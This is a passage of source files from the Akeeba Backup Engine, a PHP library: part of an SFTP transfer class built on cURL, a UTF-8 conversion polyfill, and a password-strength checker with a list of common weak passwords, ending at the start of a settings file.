	/**
	 * Change the permissions of a file
	 *
	 * @param   string   $fileName     The full path of the file whose permissions will change
	 * @param   integer  $permissions  The new permissions, e.g. 0644 (remember the leading zero in octal numbers!)
	 *
	 * @return  boolean  True on success
	 */
	public function chmod($fileName, $permissions)
	{
		// Make sure permissions are in an octal string representation
		if (!is_string($permissions))
		{
			$permissions = decoct($permissions);
		}

		$commands = [
			'chmod ' . $permissions . ' ' . $this->getPath($fileName),
		];

		try
		{
			$this->executeServerCommands($commands);
		}
		catch (RuntimeException $e)
		{
			return false;
		}

		return true;
	}

	/**
	 * Create a directory if it doesn't exist. The operation is implicitly recursive, i.e. it will create all
	 * intermediate directories if they do not already exist.
	 *
	 * @param   string   $dirName      The full path of the directory to create
	 * @param   integer  $permissions  The permissions of the created directory
	 *
	 * @return  boolean  True on success
	 */
	public function mkdir($dirName, $permissions = 0755)
	{
		$targetDir = rtrim($dirName, '/');

		$directories = explode('/', $targetDir);

		$remoteDir = '';

		foreach ($directories as $dir)
		{
			if (!$dir)
			{
				continue;
			}

			$remoteDir .= '/' . $dir;

			// Continue if the folder already exists. Otherwise I'll get a an error even if everything is fine
			if ($this->isDir($remoteDir))
			{
				continue;
			}

			$commands = [
				'mkdir ' . $remoteDir,
			];

			try
			{
				$this->executeServerCommands($commands);
			}
			catch (RuntimeException $e)
			{
				return false;
			}
		}

		$this->chmod($dirName, $permissions);

		return true;
	}

	/**
	 * Checks if the given directory exists
	 *
	 * @param   string  $path  The full path of the remote directory to check
	 *
	 * @return  boolean  True if the directory exists
	 */
	public function isDir($path)
	{
		$ch = $this->getCurlHandle($path . '/');
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

		$list = curl_exec($ch);

		$errNo = curl_errno($ch);
		curl_close($ch);

		if ($errNo)
		{
			return false;
		}

		return true;
	}

	/**
	 * Get the current working directory. NOT IMPLEMENTED.
	 *
	 * @return  string
	 */
	public function cwd()
	{
		return '';
	}

	/**
	 * Returns the absolute remote path from a path relative to the initial directory configured when creating the
	 * transfer object.
	 *
	 * @param   string  $fileName  The relative path of a file or directory
	 *
	 * @return  string  The absolute path for use by the transfer object
	 */
	public function getPath($fileName)
	{
		$fileName = str_replace('\\', '/', $fileName);

		if (strpos($fileName, $this->directory) === 0)
		{
			return $fileName;
		}

		$fileName = trim($fileName, '/');
		$fileName = rtrim($this->directory, '/') . '/' . $fileName;

		return $fileName;
	}

	/**
	 * Lists the subdirectories inside an SFTP directory
	 *
	 * @param   null|string  $dir  The directory to scan. Skip to use the current directory.
	 *
	 * @return  array|bool  A list of folders, or false if we could not get a listing
	 *
	 * @throws  RuntimeException  When the server is incompatible with our SFTP folder scanner
	 */
	public function listFolders($dir = null)
	{
		if (empty($dir))
		{
			$dir = $this->directory;
		}

		$dir = rtrim($dir, '/');

		$ch = $this->getCurlHandle($dir . '/');
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

		$list = curl_exec($ch);

		$errNo = curl_errno($ch);
		$error = curl_error($ch);
		curl_close($ch);

		if ($errNo)
		{
			throw new RuntimeException(sprintf("cURL Error $errNo ($error) while listing contents of directory \"%s\" – make sure the folder exists and that you have adequate permissions to it", $dir), 500);
		}

		if (empty($list))
		{
			throw new RuntimeException("Sorry, your SFTP server doesn't support our SFTP directory browser.");
		}

		$folders = [];

		// Convert the directory listing into an array of lines without *NIX/Windows/Mac line ending characters
		$list = explode("\n", $list);
		$list = array_map('rtrim', $list);

		foreach ($list as $v)
		{
			$vInfo = preg_split("/[\s]+/", $v, 9);

			if ($vInfo[0] !== "total")
			{
				$perms = $vInfo[0];

				if (substr($perms, 0, 1) == 'd')
				{
					$folders[] = $vInfo[8];
				}
			}
		}

		asort($folders);

		return $folders;
	}

	/**
	 * Is the verbose debug option set?
	 *
	 * @return  boolean
	 */
	public function isVerbose()
	{
		return $this->verbose;
	}

	/**
	 * Set the verbose debug option
	 *
	 * @param   boolean  $verbose
	 *
	 * @return  void
	 */
	public function setVerbose($verbose)
	{
		$this->verbose = $verbose;
	}

	/**
	 * Returns a cURL resource handler for the remote SFTP server
	 *
	 * @param   string  $remoteFile  Optional. The remote file / folder on the SFTP server you'll be manipulating with cURL.
	 *
	 * @return  resource
	 */
	protected function getCurlHandle($remoteFile = '')
	{
		// Remember, the username has to be URL encoded as it's part of a URI!
		$authentication = urlencode($this->username);

		// We will only use username and password authentication if there are no certificates configured.
		if (empty($this->publicKey))
		{
			// Remember, both the username and password have to be URL encoded as they're part of a URI!
			$password       = urlencode($this->password);
			$authentication .= ':' . $password;
		}

		$ftpUri = 'sftp://' . $authentication . '@' . $this->host;

		if (!empty($this->port))
		{
			$ftpUri .= ':' . (int) $this->port;
		}

		// Relative path? Append the initial directory.
		if (substr($remoteFile, 0, 1) != '/')
		{
			$ftpUri .= $this->directory;
		}

		// Add a remote file if necessary. The filename must be URL encoded since we're creating a URI.
		if (!empty($remoteFile))
		{
			$suffix = '';

			$dirname = dirname($remoteFile);

			// Windows messing up dirname('/'). KILL ME.
			if ($dirname == '\\')
			{
				$dirname = '';
			}

			$dirname  = trim($dirname, '/');
			$basename = basename($remoteFile);

			if ((substr($remoteFile, -1) == '/') && !empty($basename))
			{
				$suffix = '/' . $suffix;
			}

			$ftpUri .= '/' . $dirname . (empty($dirname) ? '' : '/') . urlencode($basename) . $suffix;
		}

		$ch = curl_init();

		$this->applyProxySettingsToCurl($ch);

		curl_setopt($ch, CURLOPT_URL, $ftpUri);
		curl_setopt($ch, CURLOPT_TIMEOUT, $this->timeout);

		// Do I have to use certificate authentication?
		if (!empty($this->publicKey))
		{
			// We always need to provide a public key file
			curl_setopt($ch, CURLOPT_SSH_PUBLIC_KEYFILE, $this->publicKey);

			// Since SSH certificates are self-signed we cannot have cURL verify their signatures against a CA.
			curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
			curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
			curl_setopt($ch, CURLOPT_SSL_VERIFYSTATUS, 0);

			/**
			 * This is optional because newer versions of cURL can extract the private key file from a combined
			 * certificate file.
			 */
			if (!empty($this->privateKey))
			{
				curl_setopt($ch, CURLOPT_SSH_PRIVATE_KEYFILE, $this->privateKey);
			}

			/**
			 * In case of encrypted (a.k.a. password protected) private key files you need to also specify the
			 * certificate decryption key in the password field. However, if libcurl is compiled against the GnuTLS
			 * library (instead of OpenSSL) this will NOT work because of bugs / missing features in GnuTLS. It's the
			 * same problem you get when libssh is compiled against GnuTLS. The solution to that is having an
			 * unencrypted private key file.
			 */
			if (!empty($this->password))
			{
				curl_setopt($ch, CURLOPT_KEYPASSWD, $this->password);
			}
		}

		// Should I enable verbose output? Useful for debugging.
		if ($this->verbose)
		{
			curl_setopt($ch, CURLOPT_VERBOSE, 1);
		}

		// Automatically create missing directories
		curl_setopt($ch, CURLOPT_FTP_CREATE_MISSING_DIRS, 1);

		return $ch;
	}

	/**
	 * Uploads a file using file contents provided through a file handle
	 *
	 * @param   string    $remoteFilename
	 * @param   resource  $fp
	 *
	 * @return  void
	 *
	 * @throws  RuntimeException
	 */
	protected function uploadFromHandle($remoteFilename, $fp)
	{
		// We need the file size. We can do that by getting the file position at EOF
		fseek($fp, 0, SEEK_END);
		$filesize = ftell($fp);
		rewind($fp);

		$ch = $this->getCurlHandle($remoteFilename);
		curl_setopt($ch, CURLOPT_UPLOAD, 1);
		curl_setopt($ch, CURLOPT_INFILE, $fp);
		curl_setopt($ch, CURLOPT_INFILESIZE, $filesize);

		curl_exec($ch);

		$error_no = curl_errno($ch);
		$error    = curl_error($ch);

		curl_close($ch);
		fclose($fp);

		if ($error_no)
		{
			throw new RuntimeException($error, $error_no);
		}
	}

	/**
	 * Downloads a remote file to the provided file handle
	 *
	 * @param   string    $remoteFilename  Filename on the remote server
	 * @param   resource  $fp              File handle where the downloaded content will be written to
	 * @param   bool      $close           Optional. Should I close the file handle when I'm done? (Default: true)
	 *
	 * @return  void
	 *
	 * @throws  RuntimeException
	 */
	protected function downloadToHandle($remoteFilename, $fp, $close = true)
	{
		$ch = $this->getCurlHandle($remoteFilename);

		curl_setopt($ch, CURLOPT_FILE, $fp);

		curl_exec($ch);

		$error_no = curl_errno($ch);
		$error    = curl_error($ch);

		curl_close($ch);

		if ($close)
		{
			fclose($fp);
		}

		if ($error_no)
		{
			throw new RuntimeException($error, $error_no);
		}
	}

	/**
	 * Downloads a remote file and returns it as a string
	 *
	 * @param   string  $remoteFilename  Filename on the remote server
	 *
	 * @return  string
	 *
	 * @throws  RuntimeException
	 */
	protected function downloadToString($remoteFilename)
	{
		$ch = $this->getCurlHandle($remoteFilename);

		curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
		curl_setopt($ch, CURLOPT_HEADER, false);

		$ret = curl_exec($ch);

		$error_no = curl_errno($ch);
		$error    = curl_error($ch);

		curl_close($ch);

		if ($error_no)
		{
			throw new RuntimeException($error, $error_no);
		}

		return $ret;
	}

	/**
	 * Executes arbitrary SFTP commands
	 *
	 * @param   array  $commands  An array with the SFTP commands to be executed
	 *
	 * @return  string  The output of the executed commands
	 *
	 * @throws  RuntimeException
	 */
	protected function executeServerCommands($commands)
	{
		$ch = $this->getCurlHandle($this->directory . '/');

		curl_setopt($ch, CURLOPT_QUOTE, $commands);
		curl_setopt($ch, CURLOPT_HEADER, 1);
		curl_setopt($ch, CURLOPT_NOBODY, 1);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

		$listing = curl_exec($ch);
		$errNo   = curl_errno($ch);
		$error   = curl_error($ch);
		curl_close($ch);

		if ($errNo)
		{
			throw new RuntimeException($error, $errNo);
		}

		return $listing;
	}
}
com_akeeba/BackupEngine/Util/Utf8.php000060400000005773152455305260013440 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Util;

defined('AKEEBAENGINE') || die();

/**
 * Replacement for the utf8_encode and utf8_decode functions on PHP 8.2 and later.
 *
 * @see https://wiki.php.net/rfc/remove_utf8_decode_and_utf8_encode
 */
class Utf8
{
	public static function utf8_encode($s)
	{
		if (version_compare(PHP_VERSION, '8.1.999', 'le'))
		{
			return utf8_encode($s);
		}

		if (function_exists('mb_convert_encoding'))
		{
			return mb_convert_encoding($s, 'UTF-8', 'ISO-8859-1');
		}

		if (class_exists('UConverter'))
		{
			return UConverter::transcode($s, 'UTF8', 'ISO-8859-1');
		}

		if (function_exists('iconv'))
		{
			return iconv('ISO-8859-1', 'UTF-8', $s);
		}

		/**
		 * Fallback to the pure PHP implementation from Symfony Polyfill for PHP 7.2
		 *
		 * @see https://github.com/symfony/polyfill-php72/blob/v1.26.0/Php72.php
		 */
		$s .= $s;
		$len = \strlen($s);

		for ($i = $len >> 1, $j = 0; $i < $len; ++$i, ++$j) {
			switch (true) {
				case $s[$i] < "\x80": $s[$j] = $s[$i]; break;
				case $s[$i] < "\xC0": $s[$j] = "\xC2"; $s[++$j] = $s[$i]; break;
				default: $s[$j] = "\xC3"; $s[++$j] = \chr(\ord($s[$i]) - 64); break;
			}
		}

		return substr($s, 0, $j);
	}

	public static function utf8_decode($s)
	{
		if (version_compare(PHP_VERSION, '8.1.999', 'le'))
		{
			return utf8_decode($s);
		}

		if (function_exists('mb_convert_encoding'))
		{
			return mb_convert_encoding($s, 'ISO-8859-1', 'UTF-8');
		}

		if (class_exists('UConverter'))
		{
			return UConverter::transcode($s, 'ISO-8859-1', 'UTF8');
		}

		if (function_exists('iconv'))
		{
			return iconv('UTF-8', 'ISO-8859-1', $s);
		}

		/**
		 * Fallback to the pure PHP implementation from Symfony Polyfill for PHP 7.2
		 *
		 * @see https://github.com/symfony/polyfill-php72/blob/v1.26.0/Php72.php
		 */
		$s = (string) $s;
		$len = \strlen($s);

		for ($i = 0, $j = 0; $i < $len; ++$i, ++$j) {
			switch ($s[$i] & "\xF0") {
				case "\xC0":
				case "\xD0":
					$c = (\ord($s[$i] & "\x1F") << 6) | \ord($s[++$i] & "\x3F");
					$s[$j] = $c < 256 ? \chr($c) : '?';
					break;

				case "\xF0":
					++$i;
				// no break

				case "\xE0":
					$s[$j] = '?';
					$i += 2;
					break;

				default:
					$s[$j] = $s[$i];
			}
		}

		return substr($s, 0, $j);
	}
}com_akeeba/BackupEngine/Util/Complexify.php000060400000036763152455305260014734 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Util;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Platform;
use RuntimeException;

/**
 * PHP port of http://github.com/danpalmer/jquery.complexify.js
 * Retrieved from https://github.com/mcrumley/php-complexify/blob/master/src/Complexify/Complexify.php
 * Error reporting is based on https://github.com/kislyuk/node-complexify
 */
class Complexify
{
	private static $MIN_COMPLEXITY = 66;

	private static $MAX_COMPLEXITY = 120; //  25 chars, all charsets

	private static $CHARSETS = [
		// Commonly Used
		////////////////////
		[0x0020, 0x0020], // Space
		[0x0030, 0x0039], // Numbers
		[0x0041, 0x005A], // Uppercase
		[0x0061, 0x007A], // Lowercase
		[0x0021, 0x002F], // Punctuation
		[0x003A, 0x0040], // Punctuation
		[0x005B, 0x0060], // Punctuation
		[0x007B, 0x007E], // Punctuation
		// Everything Else
		////////////////////
		[0x0080, 0x00FF], // Latin-1 Supplement
		[0x0100, 0x017F], // Latin Extended-A
		[0x0180, 0x024F], // Latin Extended-B
		[0x0250, 0x02AF], // IPA Extensions
		[0x02B0, 0x02FF], // Spacing Modifier Letters
		[0x0300, 0x036F], // Combining Diacritical Marks
		[0x0370, 0x03FF], // Greek
		[0x0400, 0x04FF], // Cyrillic
		[0x0530, 0x058F], // Armenian
		[0x0590, 0x05FF], // Hebrew
		[0x0600, 0x06FF], // Arabic
		[0x0700, 0x074F], // Syriac
		[0x0780, 0x07BF], // Thaana
		[0x0900, 0x097F], // Devanagari
		[0x0980, 0x09FF], // Bengali
		[0x0A00, 0x0A7F], // Gurmukhi
		[0x0A80, 0x0AFF], // Gujarati
		[0x0B00, 0x0B7F], // Oriya
		[0x0B80, 0x0BFF], // Tamil
		[0x0C00, 0x0C7F], // Telugu
		[0x0C80, 0x0CFF], // Kannada
		[0x0D00, 0x0D7F], // Malayalam
		[0x0D80, 0x0DFF], // Sinhala
		[0x0E00, 0x0E7F], // Thai
		[0x0E80, 0x0EFF], // Lao
		[0x0F00, 0x0FFF], // Tibetan
		[0x1000, 0x109F], // Myanmar
		[0x10A0, 0x10FF], // Georgian
		[0x1100, 0x11FF], // Hangul Jamo
		[0x1200, 0x137F], // Ethiopic
		[0x13A0, 0x13FF], // Cherokee
		[0x1400, 0x167F], // Unified Canadian Aboriginal Syllabics
		[0x1680, 0x169F], // Ogham
		[0x16A0, 0x16FF], // Runic
		[0x1780, 0x17FF], // Khmer
		[0x1800, 0x18AF], // Mongolian
		[0x1E00, 0x1EFF], // Latin Extended Additional
		[0x1F00, 0x1FFF], // Greek Extended
		[0x2000, 0x206F], // General Punctuation
		[0x2070, 0x209F], // Superscripts and Subscripts
		[0x20A0, 0x20CF], // Currency Symbols
		[0x20D0, 0x20FF], // Combining Marks for Symbols
		[0x2100, 0x214F], // Letterlike Symbols
		[0x2150, 0x218F], // Number Forms
		[0x2190, 0x21FF], // Arrows
		[0x2200, 0x22FF], // Mathematical Operators
		[0x2300, 0x23FF], // Miscellaneous Technical
		[0x2400, 0x243F], // Control Pictures
		[0x2440, 0x245F], // Optical Character Recognition
		[0x2460, 0x24FF], // Enclosed Alphanumerics
		[0x2500, 0x257F], // Box Drawing
		[0x2580, 0x259F], // Block Elements
		[0x25A0, 0x25FF], // Geometric Shapes
		[0x2600, 0x26FF], // Miscellaneous Symbols
		[0x2700, 0x27BF], // Dingbats
		[0x2800, 0x28FF], // Braille Patterns
		[0x2E80, 0x2EFF], // CJK Radicals Supplement
		[0x2F00, 0x2FDF], // Kangxi Radicals
		[0x2FF0, 0x2FFF], // Ideographic Description Characters
		[0x3000, 0x303F], // CJK Symbols and Punctuation
		[0x3040, 0x309F], // Hiragana
		[0x30A0, 0x30FF], // Katakana
		[0x3100, 0x312F], // Bopomofo
		[0x3130, 0x318F], // Hangul Compatibility Jamo
		[0x3190, 0x319F], // Kanbun
		[0x31A0, 0x31BF], // Bopomofo Extended
		[0x3200, 0x32FF], // Enclosed CJK Letters and Months
		[0x3300, 0x33FF], // CJK Compatibility
		[0x3400, 0x4DB5], // CJK Unified Ideographs Extension A
		[0x4E00, 0x9FFF], // CJK Unified Ideographs
		[0xA000, 0xA48F], // Yi Syllables
		[0xA490, 0xA4CF], // Yi Radicals
		[0xAC00, 0xD7A3], // Hangul Syllables
		[0xD800, 0xDB7F], // High Surrogates
		[0xDB80, 0xDBFF], // High Private Use Surrogates
		[0xDC00, 0xDFFF], // Low Surrogates
		[0xE000, 0xF8FF], // Private Use
		[0xF900, 0xFAFF], // CJK Compatibility Ideographs
		[0xFB00, 0xFB4F], // Alphabetic Presentation Forms
		[0xFB50, 0xFDFF], // Arabic Presentation Forms-A
		[0xFE20, 0xFE2F], // Combining Half Marks
		[0xFE30, 0xFE4F], // CJK Compatibility Forms
		[0xFE50, 0xFE6F], // Small Form Variants
		[0xFE70, 0xFEFE], // Arabic Presentation Forms-B
		[0xFEFF, 0xFEFF], // Specials
		[0xFF00, 0xFFEF], // Halfwidth and Fullwidth Forms
		[0xFFF0, 0xFFFD]  // Specials
	];

	// Generated from 500 worst passwords and 370 Banned Twitter lists found at
	// @source http://www.skullsecurity.org/wiki/index.php/Passwords
	private static $BANLIST = [
		'0', '1111', '1212', '1234', '1313', '2000', '2112', '2222',
		'3333', '4128', '4321', '4444', '5150', '5555', '6666', '6969', '7777', 'aaaa',
		'alex', 'asdf', 'baby', 'bear', 'beer', 'bill', 'blue', 'cock', 'cool', 'cunt',
		'dave', 'dick', 'eric', 'fire', 'fish', 'ford', 'fred', 'fuck', 'girl', 'golf',
		'jack', 'jake', 'john', 'king', 'love', 'mark', 'matt', 'mike', 'mine', 'pass',
		'paul', 'porn', 'rock', 'sexy', 'shit', 'slut', 'star', 'test', 'time', 'tits',
		'wolf', 'xxxx', '11111', '12345', 'angel', 'apple', 'beach', 'billy', 'bitch',
		'black', 'boobs', 'booty', 'brian', 'bubba', 'buddy', 'chevy', 'chris', 'cream',
		'david', 'dirty', 'eagle', 'enjoy', 'enter', 'frank', 'girls', 'great', 'green',
		'happy', 'hello', 'horny', 'house', 'james', 'japan', 'jason', 'juice', 'kelly',
		'kevin', 'kitty', 'lover', 'lucky', 'magic', 'money', 'movie', 'music', 'naked',
		'ou812', 'paris', 'penis', 'peter', 'porno', 'power', 'pussy', 'qwert', 'sammy',
		'scott', 'smith', 'stars', 'steve', 'super', 'teens', 'tiger', 'video', 'viper',
		'white', 'women', 'xxxxx', 'young', '111111', '112233', '121212', '123123',
		'123456', '131313', '232323', '654321', '666666', '696969', '777777', '987654',
		'aaaaaa', 'abc123', 'abcdef', 'access', 'action', 'albert', 'alexis', 'amanda',
		'andrea', 'andrew', 'angela', 'angels', 'animal', 'apollo', 'apples', 'arthur',
		'asdfgh', 'ashley', 'august', 'austin', 'badboy', 'bailey', 'banana', 'barney',
		'batman', 'beaver', 'beavis', 'bigdog', 'birdie', 'biteme', 'blazer', 'blonde',
		'blowme', 'bonnie', 'booboo', 'booger', 'boomer', 'boston', 'brandy', 'braves',
		'brazil', 'bronco', 'buster', 'butter', 'calvin', 'camaro', 'canada', 'carlos',
		'carter', 'casper', 'cheese', 'coffee', 'compaq', 'cookie', 'cooper', 'cowboy',
		'dakota', 'dallas', 'daniel', 'debbie', 'dennis', 'diablo', 'doctor', 'doggie',
		'donald', 'dragon', 'dreams', 'driver', 'eagle1', 'eagles', 'edward', 'erotic',
		'falcon', 'fender', 'flower', 'flyers', 'freddy', 'fucked', 'fucker', 'fuckme',
		'gators', 'gemini', 'george', 'giants', 'ginger', 'golden', 'golfer', 'gordon',
		'guitar', 'gunner', 'hammer', 'hannah', 'harley', 'helpme', 'hentai', 'hockey',
		'horney', 'hotdog', 'hunter', 'iceman', 'iwantu', 'jackie', 'jaguar', 'jasper',
		'jeremy', 'johnny', 'jordan', 'joseph', 'joshua', 'junior', 'justin', 'killer',
		'knight', 'ladies', 'lakers', 'lauren', 'legend', 'little', 'london', 'lovers',
		'maddog', 'maggie', 'magnum', 'marine', 'martin', 'marvin', 'master', 'matrix',
		'member', 'merlin', 'mickey', 'miller', 'monica', 'monkey', 'morgan', 'mother',
		'muffin', 'murphy', 'nascar', 'nathan', 'nicole', 'nipple', 'oliver', 'orange',
		'parker', 'peanut', 'pepper', 'player', 'please', 'pookie', 'prince', 'purple',
		'qazwsx', 'qwerty', 'rabbit', 'rachel', 'racing', 'ranger', 'redsox', 'robert',
		'rocket', 'runner', 'russia', 'samson', 'sandra', 'saturn', 'scooby', 'secret',
		'sexsex', 'shadow', 'shaved', 'sierra', 'silver', 'skippy', 'slayer', 'smokey',
		'snoopy', 'soccer', 'sophie', 'spanky', 'sparky', 'spider', 'squirt', 'steven',
		'sticky', 'stupid', 'suckit', 'summer', 'surfer', 'sydney', 'taylor', 'tennis',
		'teresa', 'tester', 'theman', 'thomas', 'tigers', 'tigger', 'tomcat', 'topgun',
		'toyota', 'travis', 'tucker', 'turtle', 'united', 'vagina', 'victor', 'viking',
		'voodoo', 'walter', 'willie', 'wilson', 'winner', 'winter', 'wizard', 'xavier',
		'xxxxxx', 'yamaha', 'yankee', 'yellow', 'zxcvbn', 'zzzzzz', '1234567', '7777777',
		'8675309', 'abgrtyu', 'amateur', 'anthony', 'arsenal', 'asshole', 'bigcock',
		'bigdick', 'bigtits', 'bitches', 'blondes', 'blowjob', 'bond007', 'brandon',
		'broncos', 'bulldog', 'cameron', 'captain', 'charles', 'charlie', 'chelsea',
		'chester', 'chicago', 'chicken', 'college', 'cowboys', 'crystal', 'cumming',
		'cumshot', 'diamond', 'dolphin', 'extreme', 'ferrari', 'fishing', 'florida',
		'forever', 'freedom', 'fucking', 'fuckyou', 'gandalf', 'gateway', 'gregory',
		'heather', 'hooters', 'hunting', 'jackson', 'jasmine', 'jessica', 'johnson',
		'leather', 'letmein', 'madison', 'matthew', 'maxwell', 'melissa', 'michael',
		'monster', 'mustang', 'naughty', 'ncc1701', 'newyork', 'nipples', 'packers',
		'panther', 'panties', 'patrick', 'peaches', 'phantom', 'phoenix', 'porsche',
		'private', 'pussies', 'raiders', 'rainbow', 'rangers', 'rebecca', 'richard',
		'rosebud', 'scooter', 'scorpio', 'shannon', 'success', 'testing', 'thunder',
		'thx1138', 'tiffany', 'trouble', 'twitter', 'voyager', 'warrior', 'welcome',
		'william', 'winston', 'yankees', 'zxcvbnm', '11111111', '12345678', 'access14',
		'baseball', 'bigdaddy', 'butthead', 'cocacola', 'computer', 'corvette',
		'danielle', 'dolphins', 'einstein', 'firebird', 'football', 'hardcore',
		'iloveyou', 'internet', 'jennifer', 'marlboro', 'maverick', 'mercedes',
		'michelle', 'midnight', 'mistress', 'mountain', 'nicholas', 'password',
		'princess', 'qwertyui', 'redskins', 'redwings', 'rush2112', 'samantha',
		'scorpion', 'srinivas', 'startrek', 'starwars', 'steelers', 'sunshine',
		'superman', 'swimming', 'trustno1', 'victoria', 'whatever', 'xxxxxxxx',
		'password1', 'password12', 'password123',
	];

	private $minimumChars = 8;

	private $strengthScaleFactor = 1;

	private $bannedPasswords = [];

	private $banMode = 'strict'; // (strict|loose)

	private $encoding = 'UTF-8';

	/**
	 * Constructor
	 *
	 * @param   array  $options  Override default options using an associative array of options
	 *
	 * Options:
	 *  - minimumChars: Minimum password length (default: 8)
	 *  - strengthScaleFactor: Required password strength multiplier (default: 1)
	 *  - bannedPasswords: Custom list of banned passwords (default: long list of common passwords)
	 *  - banMode: Use strict or loose comparisons for banned passwords. "strict" = don't allow a substring of a banned
	 *  password, "loose" = only ban exact matches (default: strict)
	 *  - encoding: Character set encoding of the password (default: UTF-8)
	 */
	public function __construct(array $options = [])
	{
		$this->bannedPasswords = self::$BANLIST;

		foreach ($options as $opt => $val)
		{
			if ($opt === 'banmode')
			{
				trigger_error('The lowercase banmode option is deprecated. Use banMode instead.', E_USER_DEPRECATED);
				$opt = 'banMode';
			}

			$this->{$opt} = $val;
		}
	}

	/**
	 * Checks if a password is strong enough for use on a live site. Used to check the front-end Secret Word.
	 *
	 * @param   string  $password         The password to check
	 * @param   bool    $throwExceptions  Throw an exception if the password is not strong enough?
	 *
	 * @return  bool
	 */
	public static function isStrongEnough($password, $throwExceptions = true)
	{
		$complexify = new self();

		$res = (object) [
			'valid'      => strlen($password) >= 32,
			'complexity' => 50,
			'errors'     => (strlen($password) >= 32) ? [] : ['tooshort'],
		];

		if (function_exists('mb_strlen') && function_exists('mb_convert_encoding') &&
			function_exists('mb_substr') && function_exists('mb_convert_case'))
		{
			$res = $complexify->evaluateSecurity($password);
		}


		if ($res->valid)
		{
			return true;
		}

		if (!$throwExceptions)
		{
			return false;
		}

		$error = count($res->errors) ? array_shift($res->errors) : 'toosimple';

		$errorMessage = Platform::getInstance()->translate('COM_AKEEBA_CPANEL_ERR_FESECRETWORD_' . $error);

		throw new RuntimeException($errorMessage, 403);
	}

	/**
	 * Check the complexity of a password
	 *
	 * @param   string  $password  The password to check
	 *
	 * @return  object  StdClass object with properties "valid", "complexity", and "error"
	 *  - valid: TRUE if the password is complex enough, FALSE if it is not
	 *  - complexity: The complexity of the password as a percent
	 *  - errors: Array containing descriptions of what made the password fail. Possible values are: banned, toosimple,
	 *  tooshort
	 */
	public function evaluateSecurity($password)
	{
		$complexity = 0;
		$error      = [];

		// Reset complexity to 0 when banned password is found
		if (!$this->inBanlist($password))
		{
			// Add character complexity
			foreach (self::$CHARSETS as $charset)
			{
				$complexity += $this->additionalComplexityForCharset($password, $charset);
			}
		}
		else
		{
			array_push($error, 'banned');
			$complexity = 1;
		}

		// Use natural log to produce linear scale
		$complexity = log($complexity ** mb_strlen($password, $this->encoding)) * (1 / $this->strengthScaleFactor);

		if ($complexity <= self::$MIN_COMPLEXITY)
		{
			array_push($error, 'toosimple');
		}

		if (mb_strlen($password, $this->encoding) < $this->minimumChars)
		{
			array_push($error, 'tooshort');
		}

		// Scale to percentage, so it can be used for a progress bar
		$complexity = ($complexity / self::$MAX_COMPLEXITY) * 100;
		$complexity = ($complexity > 100) ? 100 : $complexity;

		return (object) ['valid' => (is_array($error) || $error instanceof \Countable ? count($error) : 0) === 0, 'complexity' => $complexity, 'errors' => $error];
	}

	/**
	 * Determine the complexity added from a character set if it is used in a string
	 *
	 * @param   string  $str       String to check
	 * @param   int  [2]    $charset  Array of unicode code points representing the lower and upper bound of the
	 *                             character range
	 *
	 * @return  int  0 if there are no characters from the character set, size of the character set if there are any
	 *               characters used in the string
	 */
	private function additionalComplexityForCharset($str, $charset)
	{
		$len = mb_strlen($str, $this->encoding);
		for ($i = 0; $i < $len; $i++)
		{
			$c =
				unpack('Nord', mb_convert_encoding(mb_substr($str, $i, 1, $this->encoding), 'UCS-4BE', $this->encoding));
			if ($charset[0] <= $c['ord'] && $c['ord'] <= $charset[1])
			{
				return $charset[1] - $charset[0] + 1;
			}
		}

		return 0;
	}

	/**
	 * Check if a string is in the banned password list
	 *
	 * @param   string  $str  String to check
	 *
	 * @return  bool  TRUE if $str is a banned password, or if it is a substring of a banned password and
	 *                $this->banMode is 'strict'
	 */
	private function inBanlist($str)
	{
		if ($str == '')
		{
			return false;
		}

		$str = mb_convert_case($str, MB_CASE_LOWER, $this->encoding);

		if ($this->banMode === 'strict')
		{
			for ($i = 0; $i < count($this->bannedPasswords); $i++)
			{
				if (mb_strpos($this->bannedPasswords[$i], $str, 0, $this->encoding) !== false)
				{
					return true;
				}
			}

			return false;
		}

		return in_array($str, $this->bannedPasswords);
	}
}
com_akeeba/BackupEngine/Util/SecureSettings.php000060400000013113152455305260015544 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Util;

defined('AKEEBAENGINE') || die();

